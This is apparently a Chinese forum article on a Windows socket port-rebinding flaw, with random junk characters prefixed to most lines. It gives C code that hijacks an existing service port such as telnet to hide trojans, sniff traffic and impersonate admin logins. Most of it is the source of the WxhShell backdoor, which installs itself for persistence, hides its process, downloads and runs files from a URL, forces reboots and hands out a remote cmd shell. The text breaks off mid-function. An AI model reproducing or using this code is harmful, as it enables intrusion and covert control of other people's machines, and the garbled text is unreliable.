在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
-c%#Hd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
3DjlX* WxPu{N saddr.sin_family = AF_INET;
*^[m?3"W @yV.Yx"p_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gn82_ )R
%>g-dw bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
10tlD<eYb 7x>\/l( 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ZkWX4?&OMt WAq)1gwN 这意味着什么?意味着可以进行如下的攻击:
!s^[|2D_U `-_kOxe3 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
PFR64HK2 OVq(ulwi+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
!O)je>A r?9D/|` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
S<*h1}V3/ (:Y0^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
X|&v]mJ ,c]<Yu 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gvzBV
+3' B1^9mV'O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
vw~=z6Ka ~ eNKu 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Q*jNJ^IW V2B@Lq"9` #include
kB#;s #include
~K$dQb]) #include
3M^s
EaUI #include
D9yAq'k$ DWORD WINAPI ClientThread(LPVOID lpParam);
P~}Yj@2 int main()
ZuLW%z. {
x*'2%3C~ WORD wVersionRequested;
N1D{ % DWORD ret;
2xxw8_~C WSADATA wsaData;
P>U7RX
e BOOL val;
uKA-<nM._c SOCKADDR_IN saddr;
DpbprT7_ SOCKADDR_IN scaddr;
_ASyGmO{ int err;
Jb;@'o6 SOCKET s;
7&`Yl[G SOCKET sc;
c`Q#4e]%_ int caddsize;
%2@O,uCo@ HANDLE mt;
?3#L?Cq DWORD tid;
$G<!+^T wVersionRequested = MAKEWORD( 2, 2 );
} *:H\GL err = WSAStartup( wVersionRequested, &wsaData );
tUGnp'r if ( err != 0 ) {
<nvzNXql printf("error!WSAStartup failed!\n");
D4OJin^} return -1;
2 xE+"?0 }
q2+`a;_S saddr.sin_family = AF_INET;
MA1y@ fphi['X //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/OD@Xl];K ptQCqQ1_d saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#1)#W6 h\ saddr.sin_port = htons(23);
=w;~1i%.k if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o?
LJ,Z {
`G'Z,P-a printf("error!socket failed!\n");
@@W-]SR return -1;
SX)o0v+ }
b[U;P=;= val = TRUE;
B;64(Vsa8 //SO_REUSEADDR选项就是可以实现端口重绑定的
0<[g7BbR if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
vJ?j#Ch {
\x=j printf("error!setsockopt failed!\n");
Bo+Yu(|cL return -1;
Je*hyi7 }
_uL8TC^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
^ *1hz< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
e;8nujdG" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
(jI _Dk; A.+Qa if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=G\N1E {
"}Oj N\ ret=GetLastError();
DCP
B9:u printf("error!bind failed!\n");
eWGaGRem return -1;
oiRrpS\T. }
=/m$ayG listen(s,2);
'wA4yJ< while(1)
{
Ba_.]x {
.b|!FWHNS caddsize = sizeof(scaddr);
fR&x5Ika0 //接受连接请求
D KRF#*[=d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
(zml704dI) if(sc!=INVALID_SOCKET)
AA XQ+! {
e_+SBN1`P& mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
' OXL'_Xl if(mt==NULL)
Dqg01_O9O {
OrY^ ?E printf("Thread Creat Failed!\n");
%CV.xDE8 break;
rI#,FZ }
cU_:l.b }
cqG&n0zb CloseHandle(mt);
/0YO`])" }
:h8-y&; closesocket(s);
_ SJFuv/ WSACleanup();
G-[.BWQ return 0;
-Oplk* }
sTmdoqTK! DWORD WINAPI ClientThread(LPVOID lpParam)
pGcijD {
lobC G SOCKET ss = (SOCKET)lpParam;
>@0U B@ SOCKET sc;
PI&@/+ unsigned char buf[4096];
,5}")T["u SOCKADDR_IN saddr;
$O^"OQ_@ long num;
~m3Tq.sYrY DWORD val;
6KE?@3;Om DWORD ret;
gxc8O).5vY //如果是隐藏端口应用的话,可以在此处加一些判断
"ph[)/u; //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Ksf f]##H saddr.sin_family = AF_INET;
rqTsKrLe saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
IFbN ]N0 saddr.sin_port = htons(23);
x31Jl{x8\? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.23Yqr'zT {
J+u z{ printf("error!socket failed!\n");
gaU(ebsE return -1;
iE#I^`^V }
u>*d^[zS val = 100;
%9OVw#P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
HX#$ ^@Q( {
,CIsZ1[VS ret = GetLastError();
KkZS 6rD\ return -1;
v[]&yD }
-5y=K40 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h\/T b8 {
`s8!zy+ ret = GetLastError();
1T
8|>2m 3 return -1;
"?>hQM1R }
om{aws; if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o&RNpP* {
9'0v]ar printf("error!socket connect failed!\n");
!'(QF9%Q closesocket(sc);
UIo jXR< closesocket(ss);
)Ec /5=A return -1;
E`#/m@:|- }
mJ'5!G while(1)
RYV:?=D7s {
]6].l$%z# //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_i2guhRs*Q //如果是嗅探内容的话,可以再此处进行内容分析和记录
rnP *} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_ q^JjR num = recv(ss,buf,4096,0);
S\0?~l"} if(num>0)
:+Tvq,/" send(sc,buf,num,0);
r:5u(2 else if(num==0)
q|QkJr< break;
Xcb'qU!2-^ num = recv(sc,buf,4096,0);
{YIf rM if(num>0)
2h#_n'DV send(ss,buf,num,0);
H|z:j35\ else if(num==0)
/TScYE:$HE break;
O^r,H,3S }
j[|mC;y. closesocket(ss);
b,lIndj# closesocket(sc);
8F/JOtkGMt return 0 ;
64l(ru< }
2`pg0ciX ( MXs]3M I`q" ==========================================================
O~c\+~5M* o{OY1 ;=6 下边附上一个代码,,WXhSHELL
g_e_L39 "bA8NQIP ==========================================================
9uW\~DwsZ% qsHjqK@( #include "stdafx.h"
{Z1^/Fv3 6tN!] #include <stdio.h>
S3sxK: #include <string.h>
vJsx_i\i #include <windows.h>
jd+U+8r #include <winsock2.h>
@QAI 0ZY #include <winsvc.h>
Pk^W+M_)~ #include <urlmon.h>
+&.wc;mi C/YjMYwKgv #pragma comment (lib, "Ws2_32.lib")
kmM->v #pragma comment (lib, "urlmon.lib")
C n.x:I@r -GT&46hX #define MAX_USER 100 // 最大客户端连接数
sW0<f&3 #define BUF_SOCK 200 // sock buffer
VH6J
@m #define KEY_BUFF 255 // 输入 buffer
jbTsrj"g OFn#C! #define REBOOT 0 // 重启
Bn5$TiTcl #define SHUTDOWN 1 // 关机
J'@`+veE a1gaB:w5n #define DEF_PORT 5000 // 监听端口
,XYtoZa S\ ) ~9? #define REG_LEN 16 // 注册表键长度
"U*6?]f #define SVC_LEN 80 // NT服务名长度
lH"4"r #_'|
TT>p# // 从dll定义API
'<Jqp7$dL typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
aUbmEHFTV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
*V?p&/>MT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%<@x(q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\kG;T=H ?K=
X[ // wxhshell配置信息
%Mr^~7nN struct WSCFG {
wD5fm5r= int ws_port; // 监听端口
h5}:>yc char ws_passstr[REG_LEN]; // 口令
tQIa6c4| int ws_autoins; // 安装标记, 1=yes 0=no
h.)o4(bO char ws_regname[REG_LEN]; // 注册表键名
Y(6 p&I char ws_svcname[REG_LEN]; // 服务名
9K4Jg]? char ws_svcdisp[SVC_LEN]; // 服务显示名
QN^AihsPi char ws_svcdesc[SVC_LEN]; // 服务描述信息
x?RYt4 S char ws_passmsg[SVC_LEN]; // 密码输入提示信息
p>= b|Qy| int ws_downexe; // 下载执行标记, 1=yes 0=no
X*e<g= char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
;0-Y), char ws_filenam[SVC_LEN]; // 下载后保存的文件名
e<r}{=1w dr]Pns9 };
hYSf;cG}A `l+
pk% // default Wxhshell configuration
st wxF?\NS struct WSCFG wscfg={DEF_PORT,
1hW"#>f7 "xuhuanlingzhe",
M7\yEi"* 1,
E[2xo/H "Wxhshell",
l G $s( "Wxhshell",
@q+X:K5b "WxhShell Service",
1[ 40\ sM "Wrsky Windows CmdShell Service",
h4tAaPcS+ "Please Input Your Password: ",
LuvRxmQ` 1,
';3#t(J; "
http://www.wrsky.com/wxhshell.exe",
!b8.XGo "Wxhshell.exe"
/eY}0q% };
:bu]gj4e ^(~%'f // 消息定义模块
M&^Iun char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
1XJLGMW, char *msg_ws_prompt="\n\r? for help\n\r#>";
pvY BhTz0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
67A g.f6- char *msg_ws_ext="\n\rExit.";
Z&Xp9"j,@; char *msg_ws_end="\n\rQuit.";
}$Z0v` char *msg_ws_boot="\n\rReboot...";
h+j{;evN char *msg_ws_poff="\n\rShutdown...";
dQJ)0!B char *msg_ws_down="\n\rSave to ";
`!@d$*:' i^hEL2S/A char *msg_ws_err="\n\rErr!";
i2X%xYv ^ char *msg_ws_ok="\n\rOK!";
BTDUT%Yfg sU0W)c; char ExeFile[MAX_PATH];
V~fPp"F int nUser = 0;
l9#@4Os HANDLE handles[MAX_USER];
4N8(WI"4S int OsIsNt;
s_%KWkS E@_]L<Z SERVICE_STATUS serviceStatus;
+AYB0`X) SERVICE_STATUS_HANDLE hServiceStatusHandle;
bz|-x"qk aM|;3j1p // 函数声明
+\U#:gmw int Install(void);
Z!2%{HQ=q int Uninstall(void);
mY&(&'2T" int DownloadFile(char *sURL, SOCKET wsh);
0{qe1pb w int Boot(int flag);
# "!q_@b,D void HideProc(void);
m*~Iu<5L int GetOsVer(void);
&%r<_1 int Wxhshell(SOCKET wsl);
c|<E~_.w@ void TalkWithClient(void *cs);
f7?IXDQ>! int CmdShell(SOCKET sock);
>8.o int StartFromService(void);
dZ`c int StartWxhshell(LPSTR lpCmdLine);
!z2 KQ
4C X{ f#kB]w VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
L&hv:+3N VOID WINAPI NTServiceHandler( DWORD fdwControl );
AYGe`{ Mq52B_ // 数据结构和表定义
cjwc:3
CM SERVICE_TABLE_ENTRY DispatchTable[] =
bE6bx6=u {
9y?)Ga {wscfg.ws_svcname, NTServiceMain},
odhcU5 {NULL, NULL}
wf2v9.;X:< };
q#\4/Dt >!WH%J // 自我安装
Dy|)u1? int Install(void)
X ;Cl8 {
uYCWsw/ char svExeFile[MAX_PATH];
x &*2R#Ai HKEY key;
og`K!d~ strcpy(svExeFile,ExeFile);
xl ,(=L] %gEgpJd // 如果是win9x系统,修改注册表设为自启动
W]I+Rlv)U if(!OsIsNt) {
Wgb L9'}B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@G^m+- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
W9:(P RegCloseKey(key);
GD0Q`gWNe if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p mUG`8SY RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
vbEO pYCS RegCloseKey(key);
%/w%A:y#& return 0;
Ni>!b6Z`[ }
=fK6P6'B }
yR1v3D4E }
d-`z1' else {
c]68$;Z7 <lTLz$QE
// 如果是NT以上系统,安装为系统服务
N2.Ym;^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
xjh(;S' if (schSCManager!=0)
>hO9b;F} {
/~3kkM(Ty SC_HANDLE schService = CreateService
JKA%$l0 (
J~|:Q.Rt` schSCManager,
S!h=HE wscfg.ws_svcname,
LG;U?:\ wscfg.ws_svcdisp,
ZKt`>KZ SERVICE_ALL_ACCESS,
!OV+=Rwdx SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
e#!p6+#" SERVICE_AUTO_START,
`X%Qt~ SERVICE_ERROR_NORMAL,
@t2S"s$m svExeFile,
S|r,RBeZ
NULL,
=w ! 6un NULL,
+%R{j|8# NULL,
t6Nkv;)>@ NULL,
[Gc9
3PA7q NULL
z[WdJN{ );
{
t@7r if (schService!=0)
6[Wv g {
Axw+zO CloseServiceHandle(schService);
h^'+y1 CloseServiceHandle(schSCManager);
_b9>ZF~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
w^MiyX strcat(svExeFile,wscfg.ws_svcname);
&] O^d4/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Y2$xlqQd" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$S/EIN c RegCloseKey(key);
ZuT5}XxF return 0;
7 )*q@ }
#|K5ma }
La$?/\Dv) CloseServiceHandle(schSCManager);
BMb0Pu8 }
B-h@\y }
B^Hhrz! ny1Dg$ui2 return 1;
]h'*L` }
ZMGC@4^F gWfMUl // 自我卸载
~p
x2kHZ int Uninstall(void)
lBLL45%BIN {
y.gjs<y HKEY key;
`#?]g ! 'u3,+guz if(!OsIsNt) {
g\pLQH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}pKKNZ`[ RegDeleteValue(key,wscfg.ws_regname);
28>/#I9/] RegCloseKey(key);
IQQ>0^Q~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!:Ob3Mq\ RegDeleteValue(key,wscfg.ws_regname);
*iJ>@vew RegCloseKey(key);
7A^L$TY return 0;
w d6+,B }
4e?MthJ> }
7*>,BhF# }
K{0 gkORF else {
y>0Gmr A().1h1_k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
wQYW5X if (schSCManager!=0)
f1|&umJ$ {
=g$%jM>35 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
C?g<P0h if (schService!=0)
-nY_.fp> {
EZ[e
a< if(DeleteService(schService)!=0) {
8aTo
TA7JA CloseServiceHandle(schService);
\f'= CloseServiceHandle(schSCManager);
kV4,45r return 0;
_|7bpt9 }
mXI'=Vo!S CloseServiceHandle(schService);
\hP.Q;"MtO }
2FQTu*p&B CloseServiceHandle(schSCManager);
{T 3~js }
7GRPPh<4 }
a}[rk*QmZ /%TL{k&m$ return 1;
_Zus4&' }
P?J\pJ1|7 3*N0oc^m // 从指定url下载文件
>3&9Wbv> int DownloadFile(char *sURL, SOCKET wsh)
f1
`E- {
JG@Zb}b HRESULT hr;
xn anca char seps[]= "/";
?N&s. char *token;
1ezBnZJg char *file;
w,LB char myURL[MAX_PATH];
cG{ char myFILE[MAX_PATH];
tNljv >vI *hh iIiog+ strcpy(myURL,sURL);
j-wKm_M#jX token=strtok(myURL,seps);
rW+}3] !D/ while(token!=NULL)
+ aWcK6 {
Li9>RY+3 file=token;
;<#=|eD2 token=strtok(NULL,seps);
gdS@NUM }
($t;Xab _gQ_ixu GetCurrentDirectory(MAX_PATH,myFILE);
) .W0} strcat(myFILE, "\\");
UL"
M?).5 strcat(myFILE, file);
!e}4>!L,(^ send(wsh,myFILE,strlen(myFILE),0);
qfF2S send(wsh,"...",3,0);
X?Or. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.\8LL,zT if(hr==S_OK)
1V-si bE return 0;
eE@7AM else
oE)xL%* return 1;
%$=2tfR fni7HBV? }
OV`li#H J:G{ // 系统电源模块
W&7( int Boot(int flag)
BzTzIo5 {
@>`qfy? HANDLE hToken;
fYlqaO4[ TOKEN_PRIVILEGES tkp;
+@~e9ZG%a dw%g9DT if(OsIsNt) {
o0TB>DX$` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0@RVM| LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=b>e4I@ tkp.PrivilegeCount = 1;
Fi#
9L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
MJU*Sq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
68~5Dx if(flag==REBOOT) {
Zi<(>@z2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
DuIgFp return 0;
U5[r&Y
D }
py6O\` \ else {
gps. if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
# ELYPp]6 return 0;
%-
Ga^[ }
_O&P!hI }
hHgH' else {
0@&/W-VXg if(flag==REBOOT) {
3*-!0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|Rz}bsrZ return 0;
#I#_gjJkx }
+1c[!;' else {
H=9{|%iS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
l@`n4U.Gwl return 0;
{dlG3P='`f }
q><wzCnRu~ }
;A0ZcgF ={50>WXE return 1;
P>R u }
;8w
CQ G> sqfYkK // win9x进程隐藏模块
%yK- Q,'O void HideProc(void)
\mqrDaB {
NRI[| eh,_g. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
AvB21~t&] if ( hKernel != NULL )
-c#vWuLl {
u $qazj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Y6a9S`o ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G6qFAepwi FreeLibrary(hKernel);
}S{VR(i`J }
lYU?j|n 6iY(RYZ7- return;
5kCXy$"% }
nLR %
@!hf! // 获取操作系统版本
h<7@3Ur int GetOsVer(void)
zrwzI+4 {
zuF]E+ OSVERSIONINFO winfo;
lU`t~|>r+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
,M
:j5 GetVersionEx(&winfo);
p{&o{+c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
]+>Kl>@ return 1;
0CI\Yd= else
%K0Wm#) return 0;
jVna;o) }
7?8+h Ym2Ac>I4 // 客户端句柄模块
)Jh:~9L%=' int Wxhshell(SOCKET wsl)
tO3#kV\, {
IV%Rph>d SOCKET wsh;
z }Vg4\x& struct sockaddr_in client;
0|,Ij$ DWORD myID;
c=re( 3pyE'9"f6 while(nUser<MAX_USER)
4W=fQx] {
WUb] 8$n int nSize=sizeof(client);
NKiWt
Z" wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
_jaB[Q=By if(wsh==INVALID_SOCKET) return 1;
8J~-|<Q6 3S
@)Ans handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Q1(4l?X@ if(handles[nUser]==0)
]Mvpec_B closesocket(wsh);
o+}G/*O8 else
PB~
r7O] nUser++;
ak{XLzn }
+5GPU 9k WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
~DS.b-E v3wq- return 0;
|g"K7XfM4 }
ED>P>Gg ADA}_|O // 关闭 socket
W9S6
SO^\ void CloseIt(SOCKET wsh)
.u]d5z
BR {
8_M"lU0[ closesocket(wsh);
Q~` {^fo1 nUser--;
P!lfk:M^; ExitThread(0);
KLjvPT\ }
|{MXDx V/RV,K1/ // 客户端请求句柄
NMzq10M=6 void TalkWithClient(void *cs)
PoLk{{l3 {
wGWv<<Qw" |3>%(4
OS SOCKET wsh=(SOCKET)cs;
rx@2Dmt6
char pwd[SVC_LEN];
{9{PU&?( char cmd[KEY_BUFF];
ei~f1$zc#h char chr[1];
BW ux! int i,j;
BCX2C Nnfq!%
while (nUser < MAX_USER) {
N(P2Lo{JF [MF&x9Ss?% if(wscfg.ws_passstr) {
>[Tt'.S!? if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
RL*b47, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
wM}AWmH //ZeroMemory(pwd,KEY_BUFF);
Kd*=- i=0;
nuw7pEW@? while(i<SVC_LEN) {
t
>Rh n*9nzx#q // 设置超时
Y/
%XkDC~ fd_set FdRead;
TY?O$d2b3 struct timeval TimeOut;
m=a^t FD_ZERO(&FdRead);
a'O-0]g, FD_SET(wsh,&FdRead);
JW"n#sR4 TimeOut.tv_sec=8;
w8zr0z TimeOut.tv_usec=0;
eV"Uv3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
FM|3'a-z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
KGmAnN gL`aLg_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/x\~5cC pwd
=chr[0]; V5gr-^E
if(chr[0]==0xd || chr[0]==0xa) { @?gRWH;Pq
pwd=0; b"Jr_24t3v
break; QQD7NN>
} x:c'ek
i++; )5u#'5I>
} Iu^I?c[
iu2O/l#r
// 如果是非法用户,关闭 socket Z:diM$Z?7
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d+"F(R9
} cv. j
m%c]+Our`
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5x!rT&!G
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yh'*eli
-J0I2D
while(1) { S|?P#.=GX
g'2}Y5m$`
ZeroMemory(cmd,KEY_BUFF); @.,'A[D!K
;D@ F
// 自动支持客户端 telnet标准 gUYTVp Vf
j=0; a%`L+b5-$
while(j<KEY_BUFF) { @9l$jZ~x
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Qq YH^M
cmd[j]=chr[0]; X]dN1/_
if(chr[0]==0xa || chr[0]==0xd) { EAE#AB-A
cmd[j]=0; yoz-BS
break; )(pgJLW
} L]l?_#*x
j++; s.a @uR^
} s+ ^1\
4\j1+&W
// 下载文件 1B$8<NCQ=?
if(strstr(cmd,"http://")) { mRN[lj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tg<bVA)E'J
if(DownloadFile(cmd,wsh)) \\C!{}+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U*XdFH}vV
else ($gmN 4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AdbTI#eY
} SJE!14|e
else { iH>b"H>
UJjtDV3@_g
switch(cmd[0]) { JURg=r]LI
iF_u/#
// 帮助 YoZd,} i
case '?': { C~PP}|<~V
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %&J`mq
break; ry+|gCZ
} _>^Y0C[?5
// 安装 BM5)SgK
case 'i': { \w-3Spk*
if(Install()) oG-Eac,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); pp2 Jy{\d
else rddn"~lm1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2} _^~8
break; Sg13Dp@x
} 5!jt^i]O
// 卸载 6=x]20
case 'r': { hMgk+4*
if(Uninstall()) Fxn=+Xgg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gx2v(1?S
else AjsjYThV
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CY"i|s
break; JB!*{{
} xXJzE|)1h!
// 显示 wxhshell 所在路径 .~a8\6t
case 'p': { `W7;-
char svExeFile[MAX_PATH]; (l/i#
strcpy(svExeFile,"\n\r"); }a%Wu 7D
strcat(svExeFile,ExeFile); kmt+E'^]
send(wsh,svExeFile,strlen(svExeFile),0); Kr`.q:0GK
break; ca[*#xiJ
} fT=ZiHJ3Gu
// 重启 .5tXwxad"
case 'b': { W k "_lJ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |aj]]l[@S
if(Boot(REBOOT)) )=5*iWe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }ee3'LUPX
else { j`_Z`eG
closesocket(wsh); e.(RhajB
ExitThread(0); iztgk/(+G
} !Wy&+H*0
break; mn(MgJKQ\
} |=W>4>
// 关机 [P]M)vJ**
case 'd': { Q[lkhx|.B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &m{~4]qWpM
if(Boot(SHUTDOWN)) I,V'J|=j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bHzZ4i
else { "AIS6%,
closesocket(wsh); >f;oY9 {m
ExitThread(0); lxBcO/
} |r4&@)
break; [mF=<G"
} :]* =f].
// 获取shell fL gHQ
case 's': { YT@N$kOg_
CmdShell(wsh); dhuIVBp!!e
closesocket(wsh); uuy0fQQ8ti
ExitThread(0); - @KT#
break; j92+kq>Xd
} wHQYBYKcd
// 退出 7K!n'dAi6
case 'x': { HBw0N?
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /#}%c'
CloseIt(wsh); 7/\SN04l
break; / $'M
} ])WIw'L!
// 离开 2 xi@5;!
case 'q': { W#^p%?8pR
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?MiMwVR
closesocket(wsh); u7-0?
WSACleanup(); x
o72JJ
exit(1); 3>z+3!I z
break; uW,rmd
} @!(V0 -
} L.a~vk
1
} OW8TiM
mK
; d}
// 提示信息 <q|eG\01S
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XsMETl"Av4
} =I+5sCF{g
} pf0uwXo
>
!HC
?
return; m h|HEkM
} fJY
b)sN
>*}m.'u
// shell模块句柄 dw7h@9\y
int CmdShell(SOCKET sock) {7=k/Y*U
{ 6<UI%X
STARTUPINFO si; [wJl]i
ZeroMemory(&si,sizeof(si)); QSOJHRl=C
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BFn}~\wzK
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?=?9a
PROCESS_INFORMATION ProcessInfo; GU)NZ[e
char cmdline[]="cmd"; Q\$cBSJC1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "C+Fl
/v
return 0; ,E4qxZC(X
} |>nVp:t^
Zr;(a;QKs
// 自身启动模式 yn{U/+
int StartFromService(void) $7\hszjZ
{ zx5t
gZd,N
typedef struct m RtE~~p
{ 8SMa5a{
DWORD ExitStatus; |CjdmQ u
